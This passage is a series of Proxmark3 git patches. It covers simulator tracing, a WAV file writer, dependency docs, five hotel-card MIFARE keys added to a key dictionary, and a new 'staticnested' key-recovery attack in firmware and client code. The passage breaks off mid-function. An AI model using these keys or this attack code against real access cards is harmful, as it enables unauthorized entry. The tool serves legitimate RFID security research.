&& receivedCmd_dec[0] == CARD_ACK) { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); break; } // rule 12 of 7.5.3. in ISO 14443-4. R(NAK) --> R(ACK) if (receivedCmd_len == 1 && receivedCmd_dec[0] == CARD_NACK_NA) { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_ACK) : CARD_ACK); + FpgaDisableTracing(); break; } @@ -796,6 +816,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // all other commands must be encrypted (authenticated) if (!encrypted_data) { EmSend4bit(CARD_NACK_NA); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Commands must be encrypted (authenticated)"); break; } @@ -805,6 +827,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 /* if (receivedCmd_dec[1] > MIFARE_4K_MAXBLOCK) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on out of range block: %d (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], receivedCmd_dec[1]); break; } @@ -812,6 +835,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (MifareBlockToSector(receivedCmd_dec[1]) != cardAUTHSC) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate (0x%02x) on block (0x%02x) not authenticated for (0x%02x), nacking", receivedCmd_dec[0], receivedCmd_dec[1], cardAUTHSC); break; } @@ -867,6 +892,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 AddCrc14A(response, 16); mf_crypto1_encrypt(pcs, response, MAX_MIFARE_FRAME_SIZE, response_par); EmSendCmdPar(response, MAX_MIFARE_FRAME_SIZE, response_par); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) { Dbprintf("[MFEMUL_WORK - EmSendCmdPar] Data Block[%d]: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", blockNo, response[0], response[1], response[2], response[3], response[4], response[5], response[6], @@ -888,6 +915,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 blockNo = receivedCmd_dec[1]; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RECV 0xA0 write block %d (%02x)", blockNo, blockNo); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + FpgaDisableTracing(); + cardWRBL = blockNo; cardSTATE = MFEMUL_WRITEBL2; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] cardSTATE = MFEMUL_WRITEBL2"); @@ -901,9 +930,11 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (emlCheckValBl(blockNo)) { if (DBGLEVEL >= DBG_ERROR) Dbprintf("[MFEMUL_WORK] Reader tried to operate on block, but emlCheckValBl failed, nacking"); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); break; } EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + FpgaDisableTracing(); cardWRBL = blockNo; // INC @@ -936,6 +967,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); else EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); + + FpgaDisableTracing(); break; } @@ -958,12 +991,15 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 memcpy(response, rats, rats_len); mf_crypto1_encrypt(pcs, response, rats_len, response_par); EmSendCmdPar(response, rats_len, response_par); + FpgaDisableTracing(); } else EmSendCmd(rats, rats_len); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV RATS => ACK"); } else { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV RATS => NACK"); } @@ -980,10 +1016,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 EmSendCmdPar(response, receivedCmd_len, response_par); } else EmSendCmd(receivedCmd_dec, receivedCmd_len); + + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK"); } else { EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); + if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK"); } @@ -994,6 +1034,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Received command not allowed, nacking"); EmSend4bit(encrypted_data ? mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA) : CARD_NACK_NA); + FpgaDisableTracing(); break; } @@ -1101,6 +1142,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 num_to_bytes(ans, 4, response); mf_crypto1_encrypt(pcs, response, 4, response_par); EmSendCmdPar(response, 4, response_par); + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) { Dbprintf("[MFEMUL_AUTH1] AUTH COMPLETED for sector %d with key %c. time=%d", @@ -1138,6 +1180,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 } emlSetMem(receivedCmd_dec, cardWRBL, 1); EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_ACK)); // always ACK? + FpgaDisableTracing(); + cardSTATE = MFEMUL_WORK; if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WRITEBL2] cardSTATE = MFEMUL_WORK"); break; @@ -1155,6 +1199,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1174,6 +1220,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1190,6 +1238,8 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 mf_crypto1_decryptEx(pcs, receivedCmd, receivedCmd_len, (uint8_t *)&ans); if (emlGetValBl(&cardINTREG, &cardINTBLOCK, cardWRBL)) { EmSend4bit(mf_crypto1_encrypt4bit(pcs, CARD_NACK_NA)); + FpgaDisableTracing(); + cardSTATE_TO_IDLE(); break; } @@ -1245,7 +1295,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if ((flags & FLAG_INTERACTIVE) == FLAG_INTERACTIVE) { // Interactive mode flag, means we need to send ACK //Send the collected ar_nr in the response - reply_old(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp)); + reply_mix(CMD_ACK, CMD_HF_MIFARE_SIMULATE, button_pushed, 0, &ar_nr_resp, sizeof(ar_nr_resp)); } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); From fe5b3b0911a0321fa5407c4e2d2201e3741db8b6 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 13 Jan 2020 11:36:39 +0100 Subject: [PATCH 297/418] fix compilation bug --- armsrc/mifaresim.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index a6c9c06f5..3f89cb029 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -991,10 +991,10 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 memcpy(response, rats, rats_len); mf_crypto1_encrypt(pcs, response, rats_len, response_par); EmSendCmdPar(response, rats_len, response_par); - FpgaDisableTracing(); - } else + } else { EmSendCmd(rats, rats_len); - FpgaDisableTracing(); + } + FpgaDisableTracing(); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] RCV RATS => ACK"); } else { From 5cdc6aab48fa6c35d51b0f199da96ce0a9ae60ac Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 13 Jan 2020 13:49:32 +0100 Subject: [PATCH 298/418] Remove libsndfile dep and code our own savewav --- client/Makefile | 2 +- client/fileutils.c | 52 ++++++++++++++----- .../Linux-Installation-Instructions.md | 6 +-- ...OS-X-Homebrew-Installation-Instructions.md | 2 +- .../Windows-Installation-Instructions.md | 2 +- doc/termux_notes.md | 2 +- 6 files changed, 45 insertions(+), 21 deletions(-) diff --git a/client/Makefile b/client/Makefile index 483856b8f..6e2ebd001 100644 --- a/client/Makefile +++ b/client/Makefile @@ -22,7 +22,7 @@ vpath %.dic dictionaries OBJDIR = obj LDLIBS ?= -L/usr/local/lib -LDLIBS += -lreadline -lsndfile -lpthread -lm +LDLIBS += -lreadline -lpthread -lm # RPi Zero gcc requires -latomic # but MacOSX /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld diff --git a/client/fileutils.c b/client/fileutils.c index 4847d52b8..44f397cda 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -41,7 +41,6 @@ #include #include -#include #include "pm3_cmd.h" #include "commonutil.h" @@ -405,30 +404,55 @@ int saveFileWAVE(const char *preferredName, int *data, size_t datalen) { if (data == NULL) return PM3_EINVARG; char *fileName = newfilenamemcopy(preferredName, ".wav"); if (fileName == NULL) return PM3_EMALLOC; - int retval = PM3_SUCCESS; - SF_INFO wave_info; - - // TODO update for other tag types - wave_info.samplerate = 125000; - wave_info.channels = 1; - wave_info.format = SF_FORMAT_WAV | SF_FORMAT_PCM_U8; - SNDFILE *wave_file = sf_open(fileName, SFM_WRITE, &wave_info); + struct wave_info_t { + char signature[4]; + uint32_t filesize; + char type[4]; + struct { + char tag[4]; + uint32_t size; + uint16_t codec; + uint16_t nb_channel; + uint32_t sample_per_sec; + uint32_t byte_per_sec; + uint16_t block_align; + uint16_t bit_per_sample; + } PACKED format; + struct { + char tag[4]; + uint32_t size; + } PACKED audio_data; + } PACKED wave_info = { + .signature = "RIFF", + .filesize = sizeof(wave_info) - sizeof(wave_info.signature) - sizeof(wave_info.filesize) + datalen, + .type = "WAVE", + .format.tag = "fmt ", + .format.size = sizeof(wave_info.format) - sizeof(wave_info.format.tag) - sizeof(wave_info.format.size), + .format.codec = 1, // PCM + .format.nb_channel = 1, + .format.sample_per_sec = 125000, // TODO update for other tag types + .format.byte_per_sec = 125000, // TODO update for other tag types + .format.block_align = 1, + .format.bit_per_sample = 8, + .audio_data.tag = "data", + .audio_data.size = datalen, + }; + FILE *wave_file = fopen(fileName, "wb"); if (!wave_file) { PrintAndLogEx(WARNING, "file not found or locked. "_YELLOW_("'%s'"), fileName); retval = PM3_EFILE; goto out; } - - // unfortunately need to upconvert to 16-bit samples because libsndfile doesn't do 8-bit(?) + fwrite(&wave_info, sizeof(wave_info), 1, wave_file); for (int i = 0; i < datalen; i++) { - short sample = data[i] * 256; - sf_write_short(wave_file, &sample, 1); + uint8_t sample = data[i] + 128; + fwrite(&sample, 1, 1, wave_file); } + fclose(wave_file); - sf_close(wave_file); PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%zu")" bytes to wave file " _YELLOW_("'%s'"), 2 * datalen, fileName); out: diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index b48b8e9f5..d56d1056c 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -25,7 +25,7 @@ Install the requirements ```sh sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ -libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libsndfile1-dev +libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev ``` If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qtbase5-dev`. @@ -35,7 +35,7 @@ If you get some (non blocking) error at runtime such as _Gtk-Message: Failed to ## On ArchLinux ```sh -sudo pacman -Sy base-devel readline arm-none-eabi-gcc arm-none-eabi-newlib libsndfile git --needed +sudo pacman -Sy base-devel readline arm-none-eabi-gcc arm-none-eabi-newlib git --needed ``` If you want graphical output (such as in `hw tune`): ```sh @@ -45,7 +45,7 @@ sudo pacman -Su qt5-base ## On Fedora ```sh -sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel qt5-qtbase-devel libatomic libsndfile +sudo dnf install git make gcc gcc-c++ arm-none-eabi-gcc-cs arm-none-eabi-newlib readline-devel qt5-qtbase-devel libatomic ``` If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qt5-qtbase-devel`. diff --git a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md index 846383658..76f5ee6f3 100644 --- a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md @@ -82,7 +82,7 @@ These instructions will show how to setup the environment on OSX to the point wh 2. Install dependencies: ``` -brew install readline qt5 pkgconfig libsndfile +brew install readline qt5 pkgconfig brew install RfidResearchGroup/proxmark3/arm-none-eabi-gcc ``` diff --git a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md index 4065e0d27..9d94490f5 100644 --- a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md @@ -77,7 +77,7 @@ Enter WSL prompt (`wsl`) and from there, follow the [Linux Installation Instruct ```sh sudo apt-get update sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ -libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libsndfile1-dev +libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev ``` If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qtbase5-dev`. diff --git a/doc/termux_notes.md b/doc/termux_notes.md index 2d2147513..d86ec7f08 100644 --- a/doc/termux_notes.md +++ b/doc/termux_notes.md @@ -33,7 +33,7 @@ ref : https://github.com/Proxmark/proxmark3/wiki/android 1. Install [Termux](https://play.google.com/store/apps/details?id=com.termux) and start it 2. Run the following commands: ``` -pkg install make clang clang++ readline libc++ git tsu libsndfile +pkg install make clang clang++ readline libc++ git tsu git clone https://github.com/RfidResearchGroup/proxmark3.git ``` ### Building Proxmark3 client From f46a01abfa76d958382fac69516bdc376b78ecca Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 13 Jan 2020 14:03:32 +0100 Subject: [PATCH 299/418] Move snd_info struct to top of file --- client/fileutils.c | 40 +++++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 19 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index 44f397cda..982b0f753 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -52,6 +52,26 @@ #define PATH_MAX_LENGTH 200 +struct wave_info_t { + char signature[4]; + uint32_t filesize; + char type[4]; + struct { + char tag[4]; + uint32_t size; + uint16_t codec; + uint16_t nb_channel; + uint32_t sample_per_sec; + uint32_t byte_per_sec; + uint16_t block_align; + uint16_t bit_per_sample; + } PACKED format; + struct { + char tag[4]; + uint32_t size; + } PACKED audio_data; +} PACKED wave_info; + /** * @brief checks if a file exists * @param filename @@ -406,25 +426,7 @@ int saveFileWAVE(const char *preferredName, int *data, size_t datalen) { if (fileName == NULL) return PM3_EMALLOC; int retval = PM3_SUCCESS; - struct wave_info_t { - char signature[4]; - uint32_t filesize; - char type[4]; - struct { - char tag[4]; - uint32_t size; - uint16_t codec; - uint16_t nb_channel; - uint32_t sample_per_sec; - uint32_t byte_per_sec; - uint16_t block_align; - uint16_t bit_per_sample; - } PACKED format; - struct { - char tag[4]; - uint32_t size; - } PACKED audio_data; - } PACKED wave_info = { + struct wave_info_t wave_info = { .signature = "RIFF", .filesize = sizeof(wave_info) - sizeof(wave_info.signature) - sizeof(wave_info.filesize) + datalen, .type = "WAVE", From 81c7c7316deceba5ff76f427489566120e9d08b3 Mon Sep 17 00:00:00 2001 From: h4waii <30473690+h4waii@users.noreply.github.com> Date: Tue, 14 Jan 2020 17:21:49 +1300 Subject: [PATCH 300/418] Update mfc_default_keys.dic Added various keys from hotel cards found through hardnested attacks --- client/dictionaries/mfc_default_keys.dic | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 15aa66993..0d838d435 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -1076,3 +1076,10 @@ f0f0172066b2 f3864fcca693 f3f0172066b2 fc9839273862 + +# various hotel keys +34D3C568B348 +91FF18E63887 +4D8B8B95FDEE +354A787087F1 +4a306e62e9b6 From b37a4c14eb497b431f7443b9f685d7f2e222bfa0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 Jan 2020 16:00:31 +0100 Subject: [PATCH 301/418] Add 'hf mf staticnonce' - a nested find all key solution command for tags that has a static nonce. \n See https://github.com/RfidResearchGroup/proxmark3/issues/133 \n See https://github.com/Proxmark/proxmark3/issues/899 \n This solution is based upon the ideas and solutions of @uzlonewolf and @xtigmh . Thanks! --- CHANGELOG.md | 1 + armsrc/appmain.c | 12 ++ armsrc/mifarecmd.c | 110 +++++++++++++++-- armsrc/mifarecmd.h | 2 + client/cmdhf14a.c | 4 +- client/cmdhfmf.c | 233 +++++++++++++++++++++++++++++++++++-- client/mifare/mifarehost.c | 133 ++++++++++++++++++++- client/mifare/mifarehost.h | 1 + include/pm3_cmd.h | 1 + 9 files changed, 478 insertions(+), 19 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 24a4c091d..91d585f28 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added `hf mf staticnested` - useful when targeting the strange cards with a static nonce. (@iceman100) Thanks to @xtigmh @uzlonewolf for their solutions. - Added `hf plot` (@pwpiwi) - Fix `lf config` - when called with no params, it no longer mess up all device lf config settings. (@iceman1001) - Change `lf indala clone` - new option `--Q5` writes to q5/T5555 tags. (@iceman1001) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 8661ffccb..ab0320e75 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1156,6 +1156,18 @@ static void PacketReceived(PacketCommandNG *packet) { MifareNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->calibrate, payload->key); break; } + case CMD_HF_MIFARE_STATIC_NESTED: { + struct p { + uint8_t block; + uint8_t keytype; + uint8_t target_block; + uint8_t target_keytype; + uint8_t key[6]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareStaticNested(payload->block, payload->keytype, payload->target_block, payload->target_keytype, payload->key); + break; + } case CMD_HF_MIFARE_CHKKEYS: { MifareChkKeys(packet->data.asBytes); break; diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 9bcec8862..4d7138565 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -1101,6 +1101,107 @@ void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8 set_tracing(false); } +void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key) { + + LEDsoff(); + + uint64_t ui64Key = 0; + ui64Key = bytes_to_num(key, 6); + + // variables + uint16_t len; + + uint8_t uid[10] = {0x00}; + uint32_t cuid = 0, nt1, nt2; + uint32_t target_nt = {0x00}, target_ks = {0x00}; + uint8_t par[1] = {0x00}; + uint8_t receivedAnswer[10] = {0x00}; + + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + LED_A_ON(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + // free eventually allocated BigBuf memory + BigBuf_free(); + BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + + int16_t isOK = 0; + + LED_C_ON(); + + for (uint8_t retry = 0; retry < 3 && (isOK == 0); retry++) { + + WDT_HIT(); + + // prepare next select. No need to power down the card. + if (mifare_classic_halt(pcs, cuid)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Halt error"); + retry--; + continue; + } + + if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Can't select card"); + retry--; + continue; + }; + + // First authenticatoin. Normal auth. + if (mifare_classic_authex(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST, &nt1, NULL)) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth1 error"); + retry--; + continue; + }; + + // second authentication. Nested auth + len = mifare_sendcmd_short(pcs, AUTH_NESTED, 0x60 + (targetKeyType & 0x01), targetBlockNo, receivedAnswer, par, NULL); + if (len != 4) { + if (DBGLEVEL >= DBG_INFO) Dbprintf("Nested: Auth2 error len=%d", len); + continue; + }; + + nt2 = bytes_to_num(receivedAnswer, 4); + uint32_t nt_tmp = prng_successor(nt1, 160); + target_ks = nt2 ^ nt_tmp; + target_nt = nt_tmp; + isOK = 1; + + if (DBGLEVEL >= DBG_DEBUG) Dbprintf("Testing nt1=%08x nt2enc=%08x nt2par=%02x ks=%08x", nt1, nt2, par[0], target_ks); + } + + LED_C_OFF(); + + crypto1_deinit(pcs); + + struct p { + int16_t isOK; + uint8_t block; + uint8_t keytype; + uint8_t cuid[4]; + uint8_t nt[4]; + uint8_t ks[4]; + } PACKED payload; + payload.isOK = isOK; + payload.block = targetBlockNo; + payload.keytype = targetKeyType; + + memcpy(payload.cuid, &cuid, 4); + memcpy(payload.nt, &target_nt, 4); + memcpy(payload.ks, &target_ks, 4); + + LED_B_ON(); + reply_ng(CMD_HF_MIFARE_STATIC_NESTED, PM3_SUCCESS, (uint8_t *)&payload, sizeof(payload)); + LED_B_OFF(); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + set_tracing(false); +} //----------------------------------------------------------------------------- // MIFARE check keys. key count up to 85. // @@ -1241,8 +1342,6 @@ void chkKey_loopBonly(struct chk_t *c, struct sector_t *k_sector, uint8_t *found } } - - // get Chunks of keys, to test authentication against card. // arg0 = antal sectorer // arg0 = first time @@ -2065,7 +2164,6 @@ OUT: // turns off OnSuccessMagic(); BigBuf_free(); - BigBuf_Clear_ext(false); } void MifareHasStaticNonce() { @@ -2092,8 +2190,8 @@ void MifareHasStaticNonce() { goto OUT; } - // Transmit MIFARE_CLASSIC_AUTH - len = mifare_sendcmd_short(pcs, false, 0x60, 0, rec, recpar, NULL); + // Transmit MIFARE_CLASSIC_AUTH 0x60, block 0 + len = mifare_sendcmd_short(pcs, false, MIFARE_AUTH_KEYA, 0, rec, recpar, NULL); if (len != 4) { retval = PM3_ESOFT; goto OUT; @@ -2114,8 +2212,6 @@ OUT: // turns off OnSuccessMagic(); BigBuf_free(); - BigBuf_Clear_ext(false); - crypto1_deinit(pcs); } diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index a127e79af..cb60ea7c5 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -25,6 +25,8 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void MifareUWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain); void MifareNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, bool calibrate, uint8_t *key); +void MifareStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t targetBlockNo, uint8_t targetKeyType, uint8_t *key); + void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain); void MifareAcquireNonces(uint32_t arg0, uint32_t flags); void MifareChkKeys(uint8_t *datain); diff --git a/client/cmdhf14a.c b/client/cmdhf14a.c index 6744916f7..c611caa1f 100644 --- a/client/cmdhf14a.c +++ b/client/cmdhf14a.c @@ -1601,9 +1601,9 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search) { res = detect_classic_static_nonce(); if (res == 1) - PrintAndLogEx(SUCCESS, "Static/Fixed nonce detected"); + PrintAndLogEx(SUCCESS, "Static nonce detected"); if (res == 2 && verbose) - PrintAndLogEx(SUCCESS, "Static/Fixed nonce detection failed"); + PrintAndLogEx(SUCCESS, "Static nonce detection failed"); } return select_status; diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index 4a9e8809a..e8e27793b 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -132,6 +132,21 @@ static int usage_hf14_nested(void) { PrintAndLogEx(NORMAL, " hf mf nested o 0 A FFFFFFFFFFFF 4 A -- one sector key recovery. Use block 0 Key A to find block 4 Key A"); return PM3_SUCCESS; } +static int usage_hf14_staticnested(void) { + PrintAndLogEx(NORMAL, "Usage:"); + PrintAndLogEx(NORMAL, " all sectors: hf mf staticnested [t,d]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " card memory - 0 - MINI(320 bytes), 1 - 1K, 2 - 2K, 4 - 4K, - 1K"); + PrintAndLogEx(NORMAL, " t transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " d write keys to binary file `hf-mf--key.bin`"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF -- key recovery against 1K, block 0, Key A using key FFFFFFFFFFFF"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF t -- and transfer keys into emulator memory"); + PrintAndLogEx(NORMAL, " hf mf staticnested 1 0 A FFFFFFFFFFFF d -- or write keys to binary file "); + return PM3_SUCCESS; +} static int usage_hf14_hardnested(void) { PrintAndLogEx(NORMAL, "Usage:"); PrintAndLogEx(NORMAL, " hf mf hardnested "); @@ -1263,9 +1278,10 @@ static int CmdHF14AMfNested(const char *Cmd) { j++; } - // check if tag doesn't have static/fixed nonce + // check if tag doesn't have static nonce if (detect_classic_static_nonce() != 0) { - PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting..."); + PrintAndLogEx(WARNING, "Static nonce detected. Quitting..."); + PrintAndLogEx(INFO, "\t Try use `" _YELLOW_("hf mf staticnested") "`"); return PM3_EOPABORTED; } @@ -1279,7 +1295,7 @@ static int CmdHF14AMfNested(const char *Cmd) { int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, true); switch (isOK) { case -1 : - PrintAndLogEx(ERR, "Error: No response from Proxmark3.\n"); + PrintAndLogEx(ERR, "Command execute timeout\n"); break; case -2 : PrintAndLogEx(WARNING, "Button pressed. Aborted.\n"); @@ -1314,7 +1330,7 @@ static int CmdHF14AMfNested(const char *Cmd) { } return PM3_SUCCESS; default : - PrintAndLogEx(ERR, "Unknown Error.\n"); + PrintAndLogEx(ERR, "Unknown error.\n"); } return PM3_SUCCESS; } else { // ------------------------------------ multiple sectors working @@ -1360,7 +1376,7 @@ static int CmdHF14AMfNested(const char *Cmd) { int16_t isOK = mfnested(blockNo, keyType, key, FirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate); switch (isOK) { case -1 : - PrintAndLogEx(ERR, "error: No response from Proxmark3.\n"); + PrintAndLogEx(ERR, "Command execute timeout\n"); break; case -2 : PrintAndLogEx(WARNING, "button pressed. Aborted.\n"); @@ -1382,7 +1398,7 @@ static int CmdHF14AMfNested(const char *Cmd) { continue; default : - PrintAndLogEx(ERR, "unknown Error.\n"); + PrintAndLogEx(ERR, "Unknown error.\n"); } free(e_sector); return PM3_ESOFT; @@ -1472,6 +1488,204 @@ jumptoend: return PM3_SUCCESS; } +static int CmdHF14AMfNestedStatic(const char *Cmd) { + sector_t *e_sector = NULL; + uint8_t keyType = 0; + 